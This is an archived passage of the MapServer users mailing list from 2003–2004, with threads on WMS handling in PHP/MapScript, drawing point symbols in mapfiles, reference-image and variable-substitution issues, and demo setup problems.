>http://sis.agr.gc.ca/pls/bb/bcin%5FspeCs%2Ecoord?p%5Flat=3D20.633
>3&p%5Flong=3D-156.433&p%5Ftaxon=3DAbudefduf
>abdominalis=20
>
>And to answer your question, yes, it seems you've caught me - this
>getfeatureinfo request does not seem to be ogc-compliant and instead we
>did something to fit our own application so that some meaningful
>information was returned to the user. =20
>
>I guess a true getfeatureinfo response would be either a text dump or a
>gml dump that would just list the point coordinate information?  That
>part of the code  could easily be changed... if you do it, please share
>the code with us!
>
>Debbie
>
>
>
>
>>>> "Frieso ter Haseborg"  10/15/03
>09:38AM >>>
>Hi Debbie,
>
>first of all thanks a lot for posting your code - yes, it's been a
>great
>help bringing some light how to handle these things.
>
>One more question - if you will excuse me.
>The solution to handle GetMap and GetCapabilities are understood in
>particular the idea to create a new mapfile and to let mapserver do
>the
>xml-generation for GetCapabilities seems clever to me.
>
>But I've still a question regarding the getFeatureInfo-Request.
>Instead
>of returning the direct output you dump an url. What would be the
>result
>on executing this url? I can't test this, since the url I get on
>trying
>your demo-link leads to an unaccessible server. Would the other serve
>deliver the desired output?=20
>
>Would MS be able to handle this reroute if an url is dumped instead of
>a
>result in the info_format normally specified with a
>getFeatureInfo-Request?
>Or in other words: This isn't ogc-compliant (no offense!), is it?
>
>TIA,
>=20
>Frieso ter Haseborg
>- Software Development -=20
>=20
>--
>
>--------------------------------------------------=20
>S&F Datentechnik GmbH&Co.KG=20
>Reimersstr. 41b=20
>26789 Leer, Germany
>
>
>>-----Original Message-----
>>From: Debbie Pagurek [mailto:pagurekd at agr.gc.ca]=20
>>Sent: Monday, September 29, 2003 8:37 PM
>>To: mapserver-users at lists.gis.umn.edu; Frieso ter Haseborg
>>Cc: Tom.Kralidis at CCRS.NRCan.gc.ca=20
>>Subject: Re: [Mapserver-users] OGC-compliant WMS-server
>>deliveringdynamic layers with MS?
>>
>>
>>
>>OK everybody,
>>I've attached the PHP code that I wrote for handling the WMS requests
>>to our Integrated Taxonomic Information System internet mapping
>>application.
>>
>>I have removed most of the code that shows that transfer of the point
>>information via XML to the application, because the points can=20
>>come from
>>anywhere:  XML, a direct database connection, or a shapefile. =20
>>
>>The point of interest here is how the WMS request name/value pairs
>are
>>handled in PHP and how the corresponding results are returned (an
>image
>>for a getmap request,  an xml stream for the getcapabilities request,
>a
>>pop up window with a new URL for a getfeatureinfo request).
>>
>>I tried to include all possible name/value pairs that can come in via
>a
>>WMS request but I think I missed some e.g. EXCEPTIONS=3D
>>
>>I am no programming guru so please forgive any weird programming
>>foibles in here.  All I know is that the application does WORK!=20
>>Hopefully some of you will find this useful in some way.  Please let
>me
>>know if you have found it helpful or if you see any problems.
>>
>>Keep in mind that the GetCapabilities for this application was a
>>problem because we are mapping over 100,000 taxa, and it is
>ridiculous
>>to include that many layers in a getcapabilities document.  In the
>>getcapabilities section I included a default (no layer name is=20
>>specified
>>in the request) as well as a dynamic response that writes out a new
>>mapfile if a layername is specified (e.g.
>>request=3Dgetcapabilites&layers=3DAbudefduf)
>>
>>An example of the type of requests that are handled by this script:
>>Getmap:
>>http://wms1.agr.gc.ca/mapdata/itis/testscript.php?VERSION=3D1.1.0=20
>>&REQUEST=3DGetMap&Layers=3DCyanocit
>ta%20cristata&SRS=3DEPSG:42304&BBO
>>X=3D-2750560,-936638,3583870,4673120&WIDTH=3D339&HEIGHT=3D300
>>
>>GetFeatureInfo:
>>http://wms1.agr.gc.ca/mapdata/itis/testscript.php?VERSION=3D1.1.0=20
>>&REQUEST=3DGetFeatureInfo&QUERY_LAYERS=3DAbudefduf+abdominalis&Laye
>>r=3DAbudefduf+abdominalis&X=3D250&Y=3D150
>>
>>GetCapabilities:
>>http://wms1.agr.gc.ca/mapdata/itis/testscript.php?VERSION=3D1.0.0=20
>>&REQUEST=3DGetCapabilities
>>
>>I am no programming guru so please forgive any weird programming
>>idiosyncrasies in here.  All I know is that the application does WORK!
>
>>Hopefully some of you will find this useful in some way.  Please let
>me
>>know if you have found it helpful or if you see any problems.
>>
>>Debbie Pagurek
>>=20
>>
>>Debbie Pagurek, M.Sc.
>>GIS and Remote Sensing Analyst / T=E9l=E9d=E9tection, SIG
>>Research Branch / D.G. Recherche
>>Agriculture and Agri-Food Canada / Agriculture et Agroalimentaire
>>Canada
>>Telephone / T=E9l=E9phone: 613-759-1543
>>Facsimile / T=E9l=E9copieur: 613-759-1937
>>960 Carling Avenue
>>Ottawa, Ontario
>>K1A 0C6
>>pagurekd at agr.gc.ca=20
>>
>>>>> "Frieso ter Haseborg"  09/17/03
>>11:56AM >>>
>>Hi,
>>
>>I'm searching for possibilities to use MS for building an
>>OGC-compliant
>>WMS-service which creates and serves dynamic layers from data out of
>>RDBMS. These RDBMS do NOT have any spatial-extensions it's just the
>>"x,y-coordinate & label-data"-thing.=20
>>
>>So what I want to do: retrieve the coordinates from my databases and
>>create one or more dynamic layers. I did some experiments with
>>PHP/MapScript, no major problems so far, that seems to be the easier
>>part.
>>
>>The problem comes here: I don't want to create these layers in any
>>client-app, I want to have these layers served by the mapserver,
>since
>>I
>>have to incorporate other servers e.g. ArcIMS which have to use and
>>process this layers through OGC-requests. Any ideas?
>>
>>Are there any possibilities to create dynamic layers from RDBMS e.g.
>>Sybase ASA, MS SQL Server, Oracle without spatial-extensions I
>>overlooked, besides doing this in PHP/MapScript?
>>
>>Are there any hooks or entry-points in the mapserv-cgi to process
>>customized-operations like creating the mentioned dynamic layers?
>>
>>Any comment and hint would be appreciated!
>>
>>TIA,
>>=20
>>Frieso ter Haseborg
>>- Software Development -=20
>>=20
>>--
>>
>>--------------------------------------------------=20
>>S&F Datentechnik GmbH&Co.KG=20
>>Reimersstr
>>. 41b=20
>>26789 Leer, Germany
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu=20
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users=20
>>
>
>_______________________________________________
>Mapserver-users mailing list
>Mapserver-users at lists.gis.umn.edu
>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>

------_=_NextPart_001_01C3D473.7D5F9710
Content-Type: application/octet-stream;
	name="getfeature.php"
Content-Transfer-Encoding: base64
Content-Description: getfeature.php
Content-Disposition: attachment;
	filename="getfeature.php"

Y2FzZSAnZ2V0ZmVhdHVyZWluZm8nOg0KCS8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoJLy8gZ2V0
IHBhcmFtcw0KCWlmICggaXNzZXQgKCAkcXVlcnlfbGF5ZXJzICkpIHsNCgkJJGdldEZlYXR1cmVM
YXllcnMJPSBleHBsb2RlICggJywnLCAkcXVlcnlfbGF5ZXJzICk7DQoJCSRsYXllcnNDb3VudAkJ
PSBjb3VudCAoICRnZXRGZWF0dXJlTGF5ZXJzICk7DQoJfQ0KCWVsc2UgeyAgDQoJCS8vcmFpc2Ug
ZXJyb3I6IFFVRVJZX0xBWUVSUyBwYXJhbWV0ZXIgbWlzc2luZyANCgkJLy9bLi4uXQkJCQ0KCX0N
Cg0KCWlmICggISRsY2xfbWFpbi0+aVBhcmFtcyBbICd4JyBdIHx8ICFpc3NldCAoICRsY2xfbWFp
bi0+aVBhcmFtcyBbICd4JyBdICkgfHwNCgkJICAhJGxjbF9tYWluLT5pUGFyYW1zIFsgJ3knIF0g
fHwgIWlzc2V0ICggJGxjbF9tYWluLT5pUGFyYW1zIFsgJ3knIF0gKSApIHsNCgkJLy9yYWlzZSBl
cnJvcjogWC9ZLXBhcmFtZXRlciBtaXNzaW5nIC4uLg0KCQkvL1suLi5dCQkJDQoJfQ0KDQoJLy8t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0NCgkvLyBkcmF3IGR5bmFtaWMgbGF5ZXJzIGFuZCBwZXJmb3Jt
IGdldEZlYXR1cmVJbmZvLXJlcXVlc3QNCglmb3IgKCAkaSA9IDA7ICRpIDwgJGxheWVyc0NvdW50
OyAkaSsrICkgew0KCQkkcmV0ID0gJGltcy0+aW1zX2dldEZlYXR1cmVJbmZvICggLi4uICk7DQoJ
CWlmICggJHJldCApDQoJCQkkZmVhdHVyZSAuPSAkcmV0LmNocigxMykuY2hyKDEwKTsNCgl9DQoJ
aWYgKCAkZmVhdHVyZSApDQoJCWVjaG8gJ0dldEZlYXR1cmVJbmZvIHJlc3VsdHM6Jy5jaHIoMTMp
LmNocigxMCkuY2hyKDEzKS5jaHIoMTApLiRmZWF0dXJlOw0KCWVsc2UNCgkJZWNobyAnR2V0RmVh
dHVyZUluZm8gcmVzdWx0czonLmNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCkuJ1NlYXJj
aCByZXR1cm5lZCBubyByZXN1bHRzJzsNCgkNCgkvL1suLi5d

------_=_NextPart_001_01C3D473.7D5F9710--


From hugo at pbh.gov.br  Tue Jan  6 09:02:49 2004
From: hugo at pbh.gov.br (Hugo Nathaniel Rodrigues)
Date: Tue, 6 Jan 2004 15:02:49 -0200
Subject: [Mapserver-users] easy question
References: <000a01c3d3c1$6a44f9c0$7a00110a@ESTIVA> <1073334124.1443.112.camel@ubet.gomoos.org>
Message-ID: <005a01c3d476$ea7966c0$7a00110a@ESTIVA>

thanks eric, i tried it but didnt work, here is my map file:

NAME FIRSTMAP
SIZE 400 300
STATUS ON
EXTENT 598047.223047 781652.733880 619791.428883 812944.406142
UNITS METERS
IMAGECOLOR 255 255 255


WEB
  IMAGEPATH "/tmp/ms_tmp/"
  IMAGEURL "/ms_tmp/"

 LOG "/tmp/gmap.log"
END

LAYER
NAME testpoint
STATUS ON
TYPE POINT
CLASS
   COLOR 200 255 0
   SIZE 10
END
FEATURE
   POINTS 618579.06 806912.68 END
END
END
END

i received blank screen and not one point (or any green symbol), anyone
knows why?
Hugo Rodrigues
Analista/Consultor
SSSS - Prodabel
----- Original Message ----- 
From: "Eric Bridger" 
To: "Hugo Nathaniel Rodrigues" 
Cc: "Mapserver List" 
Sent: Monday, January 05, 2004 6:21 PM
Subject: Re: [Mapserver-users] easy question


>
> On Mon, 2004-01-05 at 14:23, Hugo Nathaniel Rodrigues wrote:
> > i have this coordinates:
> >
> > x 618579,06
> > y 806912,68
> > (meters)
> >
> > what i need to put in my map file (using gmap75.map example) to show a
point (or symbol or anything) in this point of the map?
> > this is my extent:
> >
> > EXTENT 598047.223047 781652.733880 619791.428883 812944.406142
> >
>
> You'll want to use the LAYER FEATURE tag in your map file.  This works
> for mapserver 3.6.
>
> LAYER
>   NAME "test_point"
>   STATUS DEFAULT
>   TYPE POINT
>   CLASS
>     COLOR 0 0 0
>     SIZE 10
>   END
>   FEATURE
>     POINTS 618579.06  806912.68 END
>   END
> END
>
>



From TMitchell at lignum.com  Tue Jan  6 09:04:21 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Tue, 6 Jan 2004 09:04:21 -0800
Subject: [Mapserver-users] Mapserver 401: Reference image bounding box
In-Reply-To: 
Message-ID: 





>
> BINGO !!!
>
> I was having a similar problem using a .png reference image and the
ZoomBox
> now shows, after I saved it has a 216 color instead of a 256 color image.
>
> Mystery solved :-)

Norman, can you confirm for me that the zoom box didn't show up at all - or
was it just being drawn with a colour so close to the background map that
it was too hard to discern?

Tyler



From eric at gomoos.org  Tue Jan  6 09:30:01 2004
From: eric at gomoos.org (Eric Bridger)
Date: 06 Jan 2004 12:30:01 -0500
Subject: [Mapserver-users] easy question
In-Reply-To: <005a01c3d476$ea7966c0$7a00110a@ESTIVA>
References: <000a01c3d3c1$6a44f9c0$7a00110a@ESTIVA>
 <1073334124.1443.112.camel@ubet.gomoos.org>
 <005a01c3d476$ea7966c0$7a00110a@ESTIVA>
Message-ID: <1073410207.1864.39.camel@ubet.gomoos.org>

On Tue, 2004-01-06 at 12:02, Hugo Nathaniel Rodrigues wrote:
> thanks eric, i tried it but didnt work, here is my map file:
> 
> NAME FIRSTMAP
> SIZE 400 300
> STATUS ON
> EXTENT 598047.223047 781652.733880 619791.428883 812944.406142
> UNITS METERS
> IMAGECOLOR 255 255 255
> 
> 
> WEB
>   IMAGEPATH "/tmp/ms_tmp/"
>   IMAGEURL "/ms_tmp/"
> 
>  LOG "/tmp/gmap.log"
> END
> 
> LAYER
> NAME testpoint
> STATUS ON
> TYPE POINT
> CLASS
>    COLOR 200 255 0
>    SIZE 10
> END
> FEATURE
>    POINTS 618579.06 806912.68 END
> END
> END
> END
> 
> i received blank screen and not one point (or any green symbol), anyone
> knows why?
> Hugo Rodrigues
> Analista/Consultor
> SSSS - Prodabel
 
Try STATUS DEFAULT.  Also try SIZE 50.
If those don't work add TRANSFORM FALSE to your layer and use pixels for
your POINTS 50 50 END.



From hugo at pbh.gov.br  Tue Jan  6 09:39:18 2004
From: hugo at pbh.gov.br (Hugo Nathaniel Rodrigues)
Date: Tue, 6 Jan 2004 15:39:18 -0200
Subject: [Mapserver-users] new question
Message-ID: <018401c3d47c$0346a320$7a00110a@ESTIVA>

This is a multi-part message in MIME format.

------=_NextPart_000_0181_01C3D46B.3F7642D0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

i make a point in my map, but the point is toooo little and i almost =
cant see it, have any way to make this point bigger (i tried the size, =
but if i put 10 or 10000 the point remains the same)

here is the map file:
NAME FIRSTMAP
SIZE 400 300
STATUS ON
EXTENT 598047.223047 781652.733880 619791.428883 812944.406142
UNITS METERS
IMAGECOLOR 255 255 255


WEB
  IMAGEPATH "/tmp/ms_tmp/"=20
  IMAGEURL "/ms_tmp/"
 =20
 LOG "/tmp/gmap.log"
END

SYMBOL=20
NAME "circle"=20
TYPE ellipse=20
FILLED true=20
POINTS 618579.06 806912.68  END=20
END=20

LAYER
NAME testpoint
STATUS ON
TYPE POINT
CLASS
   COLOR 0 0 0
   SIZE 10
END
FEATURE
   POINTS 618579.06 806912.68 END
END
END
END

cheers
Hugo Rodrigues
Analista/Consultor
SSSS - Prodabel
------=_NextPart_000_0181_01C3D46B.3F7642D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









i make a point in my map, but the point =
is toooo=20
little and i almost cant see it, have any way to make this point bigger =
(i tried=20
the size, but if i put 10 or 10000 the point remains the =
same)


 


here is the map file:


NAME FIRSTMAP
SIZE 400 300
STATUS =

ON
EXTENT 598047.223047 781652.733880 619791.428883 =
812944.406142
UNITS=20
METERS
IMAGECOLOR 255 255 255


 



WEB
  IMAGEPATH "/tmp/ms_tmp/" 
  IMAGEURL=20
"/ms_tmp/"
  
 LOG "/tmp/gmap.log"
END


 


SYMBOL 
NAME "circle" 
TYPE ellipse 
FILLED true =

POINTS=20
618579.06 806912.68  END 
END 


 


LAYER
NAME testpoint
STATUS ON
TYPE =
POINT
CLASS
  =20
COLOR 0 0 0
   SIZE 10
END
FEATURE
   =
POINTS=20
618579.06 806912.68 END
END
END
END


 


cheers


Hugo =
Rodrigues
Analista/Consultor
SSSS -=20
Prodabel


------=_NextPart_000_0181_01C3D46B.3F7642D0--



From steve.lime at dnr.state.mn.us  Tue Jan  6 09:46:05 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Tue, 06 Jan 2004 11:46:05 -0600
Subject: [Mapserver-users] easy question
Message-ID: 

Are you explicity requesting the testpoint layer? If using the CGI all
layers are off unless declared as DEFAULT or explicitly requested (i.e.
layer=testpoint). Also, you need a symbol to use a class size, otherwise
all you'll get is a single green pixel. Try adding:

SYMBOL
  NAME 'circle'
  TYPE ELLIPSE
  POINTS 1 1 END
  FILLED TRUE
END

to the map file and add:

SYMBOL 'circle'

to the testpoint class definition.

Steve

>>> "Hugo Nathaniel Rodrigues"  1/6/2004 11:02:49 AM
>>>
thanks eric, i tried it but didnt work, here is my map file:

NAME FIRSTMAP
SIZE 400 300
STATUS ON
EXTENT 598047.223047 781652.733880 619791.428883 812944.406142
UNITS METERS
IMAGECOLOR 255 255 255


WEB
  IMAGEPATH "/tmp/ms_tmp/"
  IMAGEURL "/ms_tmp/"

 LOG "/tmp/gmap.log"
END

LAYER
NAME testpoint
STATUS ON
TYPE POINT
CLASS
   COLOR 200 255 0
   SIZE 10
END
FEATURE
   POINTS 618579.06 806912.68 END
END
END
END

i received blank screen and not one point (or any green symbol),
anyone
knows why?
Hugo Rodrigues
Analista/Consultor
SSSS - Prodabel
----- Original Message ----- 
From: "Eric Bridger" 
To: "Hugo Nathaniel Rodrigues" 
Cc: "Mapserver List" 
Sent: Monday, January 05, 2004 6:21 PM
Subject: Re: [Mapserver-users] easy question


>
> On Mon, 2004-01-05 at 14:23, Hugo Nathaniel Rodrigues wrote:
> > i have this coordinates:
> >
> > x 618579,06
> > y 806912,68
> > (meters)
> >
> > what i need to put in my map file (using gmap75.map example) to
show a
point (or symbol or anything) in this point of the map?
> > this is my extent:
> >
> > EXTENT 598047.223047 781652.733880 619791.428883 812944.406142
> >
>
> You'll want to use the LAYER FEATURE tag in your map file.  This
works
> for mapserver 3.6.
>
> LAYER
>   NAME "test_point"
>   STATUS DEFAULT
>   TYPE POINT
>   CLASS
>     COLOR 0 0 0
>     SIZE 10
>   END
>   FEATURE
>     POINTS 618579.06  806912.68 END
>   END
> END
>
>

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From steve.lime at dnr.state.mn.us  Tue Jan  6 09:41:09 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Tue, 06 Jan 2004 11:41:09 -0600
Subject: [Mapserver-users] Variable substitution 4.0.1
Message-ID: 

Variable substitution is only available in a couple of instances where
you might like to alter a portion of a parameter but not the whole
thing. This basically amounts to FILTERs and EXPRESSIONs and
CONNECTIONs. The other method you mention should be used instead. I
suspect that what's happening is that the map file parser reads the file
first and then augments it using substitutions (as limited above) or via
the other method, and the string you've got for image is indeed illegal.
To fix?

1) Don't use the substitution, use map_reference_image instead.
2) Change your mapfile like so:

REFERENCE
        IMAGE "passed in via URL"
        ...
END

Steve

>>> "Johansen Per Henrik"  1/6/2004 10:05:11 AM >>>
Hi,

I am a bit puzzled with the variable substition features in Mapserver.
It seems to work fine in some cases, like in the layer object, but when
I try to use this functionality in the reference object, I get a parser
error. getString(): Symbol definition error. Parsing error near (%)
I use it like this to use a dynamically created reference image:

REFERENCE
        IMAGE %refimage%
        ...
END

I have also tried to overwrite the IMAGE value by referencing it as
map_reference_image=... in the cgi call, but with the same result. 
Am I right to suspect that the REFERENCE objectdoes not support
variable substitution and cgi referencing?

Regards,

Per Henrik

--
Interconsult NORGIT AS
Per Henrik Johansen
Systemutvikler/Systems developer
Tel: + 47 69 394805   Mob: + 47 950 71822
icq: 4975767
Web: http://www.norgit.no 


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu 
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


From heitzso at growthmodels.com  Tue Jan  6 09:58:10 2004
From: heitzso at growthmodels.com (Heitzso)
Date: Tue, 06 Jan 2004 12:58:10 -0500
Subject: [Mapserver-users] HTML messages: A plea
In-Reply-To: <4ACBA1414DD9EE418CC250E4AAA9035A192CB2@STL-EXBE-I03.corp.erac.com>
References: <4ACBA1414DD9EE418CC250E4AAA9035A192CB2@STL-EXBE-I03.corp.erac.com>
Message-ID: <3FFAF732.6080908@growthmodels.com>

I've been the guilty party at times.  I use Mozilla email client on 
Linux and the
default format is HTML.  I just thrashed around to set this list to be plain
text format (in address book window, option for the individual address).

I appreciate both viewpoints, but I recommend against being
too strong in castigating HTML-ers because, as just noted, it's what
happens out of the box for the common Linux-Mozilla combo.




From TMitchell at lignum.com  Tue Jan  6 10:11:24 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Tue, 6 Jan 2004 10:11:24 -0800
Subject: [Mapserver-users] new question
In-Reply-To: <018401c3d47c$0346a320$7a00110a@ESTIVA>
Message-ID: 





Perhaps you should create a symbol and use it.  I can't recall, but I think
size depends on a symbol being defined??

mapserver-users-admin at lists.gis.umn.edu wrote on 01/06/2004 09:39:18 AM:

> i make a point in my map, but the point is toooo little and i almost
> cant see it, have any way to make this point bigger (i tried the
> size, but if i put 10 or 10000 the point remains the same)
>
> here is the map file:
> NAME FIRSTMAP
> SIZE 400 300
> STATUS ON
> EXTENT 598047.223047 781652.733880 619791.428883 812944.406142
> UNITS METERS
> IMAGECOLOR 255 255 255
>
>
> WEB
>   IMAGEPATH "/tmp/ms_tmp/"
>   IMAGEURL "/ms_tmp/"
>
>  LOG "/tmp/gmap.log"
> END
>
> SYMBOL
> NAME "circle"
> TYPE ellipse
> FILLED true
> POINTS 618579.06 806912.68  END
> END
>
> LAYER
> NAME testpoint
> STATUS ON
> TYPE POINT
> CLASS
>    COLOR 0 0 0
>    SIZE 10
> END
> FEATURE
>    POINTS 618579.06 806912.68 END
> END
> END
> END
>
> cheers
> Hugo Rodrigues
> Analista/Consultor
> SSSS - Prodabel



From nicolas.fortin at ec.gc.ca  Tue Jan  6 09:57:15 2004
From: nicolas.fortin at ec.gc.ca (nicolas.fortin at ec.gc.ca)
Date: Tue, 6 Jan 2004 12:57:15 -0500
Subject: [Mapserver-users] new question
Message-ID: 

Try

    SYMBOL 'CIRCLE'
    SIZE 10
    COLOR 0 0 0 

in the CLASS

Nick
-----Message d'origine-----
De : Hugo Nathaniel Rodrigues [mailto:hugo at pbh.gov.br] 
Envoy? : Tuesday, January 06, 2004 12:39 PM
? : mapserver-users at lists.gis.umn.edu
Objet : [Mapserver-users] new question


i make a point in my map, but the point is toooo little and i almost cant
see it, have any way to make this point bigger (i tried the size, but if i
put 10 or 10000 the point remains the same)

here is the map file:
NAME FIRSTMAP
SIZE 400 300
STATUS ON
EXTENT 598047.223047 781652.733880 619791.428883 812944.406142
UNITS METERS
IMAGECOLOR 255 255 255


WEB
  IMAGEPATH "/tmp/ms_tmp/" 
  IMAGEURL "/ms_tmp/"
  
 LOG "/tmp/gmap.log"
END

SYMBOL 
NAME "circle" 
TYPE ellipse 
FILLED true 
POINTS 618579.06 806912.68  END 
END 

LAYER
NAME testpoint
STATUS ON
TYPE POINT
CLASS
   COLOR 0 0 0
   SIZE 10
END
FEATURE
   POINTS 618579.06 806912.68 END
END
END
END

cheers
Hugo Rodrigues
Analista/Consultor
SSSS - Prodabel



From gejs at pathcom.ca  Tue Jan  6 11:29:16 2004
From: gejs at pathcom.ca (Janice & Gerry Schlosser)
Date: Tue, 6 Jan 2004 12:29:16 -0700
Subject: [Mapserver-users] Tutorial data?
Message-ID: 

Hello,

  I am a new user and am trying the tutorial.
  I would like to try the examples, so I tried to
  download the tutorial.zip file but get an error:

  The requested URL /projects/tutorial/tutorial.zip
  was not found on this server.

  Is this data available anywhere?

Thanks
Gerry Schlosser



From nhv at cape.com  Tue Jan  6 12:21:41 2004
From: nhv at cape.com (Norman Vine)
Date: Tue, 6 Jan 2004 15:21:41 -0500
Subject: [Mapserver-users] Mapserver 401: Reference image bounding box
In-Reply-To: 
Message-ID: 

Tyler Mitchell writes:
> >
> > BINGO !!!
> >
> > I was having a similar problem using a .png reference image and the
> ZoomBox
> > now shows, after I saved it has a 216 color instead of a 256 color image.
> >
> > Mystery solved :-)
> 
> Norman, can you confirm for me that the zoom box didn't show up at all - or
> was it just being drawn with a colour so close to the background map that
> it was too hard to discern?

The box was not being drawn.

Cheers

Norman
 


From kjohnson at cdaid.org  Tue Jan  6 12:24:01 2004
From: kjohnson at cdaid.org (JOHNSON, KIRK)
Date: Tue, 6 Jan 2004 12:24:01 -0800
Subject: [Mapserver-users] Demo won't write to /tmp directory?
Message-ID: 

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3D493.05B854C5
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

I'm trying to get the demo running, with 4.01 under redhat 9.0
upon clicking on the "initialize" button, I get the Demo interface, with
a large black box where the graphic should be.
I keep getting the message in the apache error_log with File does not
exist: /usr/local/apache2/htdocs/tmp/DBvblahrandomnumber.png
=20
I'm not seeing any .png files created in this tmp directory.
=20
apache2 is installed at:
/usr/local/apache2/
=20
mapserver compiles cleanly, and I've extracted the mapserver demo files
out to:
/usr/local/apache2/htdocs/itasca
=20
there is a tmp directory located at:
/usr/local/apache2/tmp it's set to be written to by apache:apache
=20
Help?
=20
Thanks.
=20
____________________________________________
Kirk Johnson
Information Systems=20
City of Coeur d' Alene
 =20
kjohnson at cdaid.org =20

  Phone: (208)769-2255=20
  Cell: (208)755-9719=20
  www.cdaid.org =20


=20

------_=_NextPart_001_01C3D493.05B854C5
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable


Message




I'm =
trying to get=20
the demo running, with 4.01 under redhat 9.0


upon =
clicking on the=20
"initialize" button, I get the Demo interface, with a large black box =
where the=20
graphic should be.


I keep =
getting the=20
message in the apache error_log with File does not exist:=20
/usr/local/apache2/htdocs/tmp/DBvblahrandomnumber.png
=


 


I'm =
not seeing any=20
.png files created in this tmp directory.


 


apache2 is installed=20
at:


/usr/local/apache2/


 


mapserver compiles=20
cleanly, and I've extracted the mapserver demo files out =
to:


/usr/local/apache2/htdocs/itasca


 


there =
is a tmp=20
directory located at:


/usr/local/apache2/tmp it's set to be written to by=20
apache:apache


 


Help?


 


Thanks.


 







____________________________________________Kirk=20
Johnson

Information=20
Systems 
City of Coeur d' Alene
 =20


 =20
Phone: (208)769-2255 
 =20
Cell: (208)755-9719 
 =
=20
www.cdaid.org



 

=00
------_=_NextPart_001_01C3D493.05B854C5--


From phj at norgit.no  Tue Jan  6 12:49:03 2004
From: phj at norgit.no (Johansen Per Henrik)
Date: Tue, 6 Jan 2004 21:49:03 +0100
Subject: [Mapserver-users] Variable substitution 4.0.1
Message-ID: <1FFB16912919DC41A0599F0D9533419F0597B4@icngmail01.interconsult.com>

Thanks for the reply.

But using map_reference_image does not seem to work either. I have tried to look at the source code for 4.0.1 and to figure out what happens. mapserv recognize that I pass it a map_ variable through CGI, but everything seem to end in the function loadReferenceMapString() in mapfile.c. The switch(msyylex()) statement never seem to match any of the cases (it triggers the default, to do nothing). The same happens when I try to set map_reference_extent, the default case is triggered.

Maybe I am missing something (it is late over here), I have also peeked at how map_web_imagepath (loadWebString()) is handled (which works btw), and I can not spot any major differences at the moment.

Could this be a bug in the lexer/parser?

The function loadReferenceMap(), which is used to read from the mapfile works though.

Per Henrik

> -----Original Message-----
> From: Steve Lime [mailto:steve.lime at dnr.state.mn.us]
> Sent: 6. januar 2004 18:41
> To: mapserver-users at lists.gis.umn.edu; Johansen Per Henrik
> Subject: Re: [Mapserver-users] Variable substitution 4.0.1
> 
> 
> Variable substitution is only available in a couple of instances where
> you might like to alter a portion of a parameter but not the whole
> thing. This basically amounts to FILTERs and EXPRESSIONs and
> CONNECTIONs. The other method you mention should be used instead. I
> suspect that what's happening is that the map file parser 
> reads the file
> first and then augments it using substitutions (as limited 
> above) or via
> the other method, and the string you've got for image is 
> indeed illegal.
> To fix?
> 
> 1) Don't use the substitution, use map_reference_image instead.
> 2) Change your mapfile like so:
> 
> REFERENCE
>         IMAGE "passed in via URL"
>         ...
> END
> 
> Steve
> 
> >>> "Johansen Per Henrik"  1/6/2004 10:05:11 AM >>>
> Hi,
> 
> I am a bit puzzled with the variable substition features in Mapserver.
> It seems to work fine in some cases, like in the layer 
> object, but when
> I try to use this functionality in the reference object, I 
> get a parser
> error. getString(): Symbol definition error. Parsing error near (%)
> I use it like this to use a dynamically created reference image:
> 
> REFERENCE
>         IMAGE %refimage%
>         ...
> END
> 
> I have also tried to overwrite the IMAGE value by referencing it as
> map_reference_image=... in the cgi call, but with the same result. 
> Am I right to suspect that the REFERENCE objectdoes not support
> variable substitution and cgi referencing?
> 
> Regards,
> 
> Per Henrik
> 
> --
> Interconsult NORGIT AS
> Per Henrik Johansen
> Systemutvikler/Systems developer
> Tel: + 47 69 394805   Mob: + 47 950 71822
> icq: 4975767
> Web: http://www.norgit.no 
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu 
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 

--
Interconsult NORGIT AS
Per Henrik Johansen
Systemutvikler/Systems developer
Tel: + 47 69 394805   Mob: + 47 950 71822
icq: 4975767
Web: http://www.norgit.no



From msmith at sanangelompo.org  Tue Jan  6 12:52:47 2004
From: msmith at sanangelompo.org (Michael Smith)
Date: Tue, 6 Jan 2004 14:52:47 -0600
Subject: [Mapserver-users] Demo won't write to /tmp directory?
In-Reply-To: 
Message-ID: <20040106155137.SM01564@PLANGIS>

This is a multi-part message in MIME format.

------=_NextPart_000_007D_01C3D464.C08ED4B0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit

I have not used linux but windows 2000.  You may want to check your user
persmissions for the tmp directory set to write.  Hope this helps.

  _____  

From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of JOHNSON, KIRK
Sent: Tuesday, January 06, 2004 2:24 PM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] Demo won't write to /tmp directory?


I'm trying to get the demo running, with 4.01 under redhat 9.0
upon clicking on the "initialize" button, I get the Demo interface, with a
large black box where the graphic should be.
I keep getting the message in the apache error_log with File does not exist:
/usr/local/apache2/htdocs/tmp/DBvblahrandomnumber.png
 
I'm not seeing any .png files created in this tmp directory.
 
apache2 is installed at:
/usr/local/apache2/
 
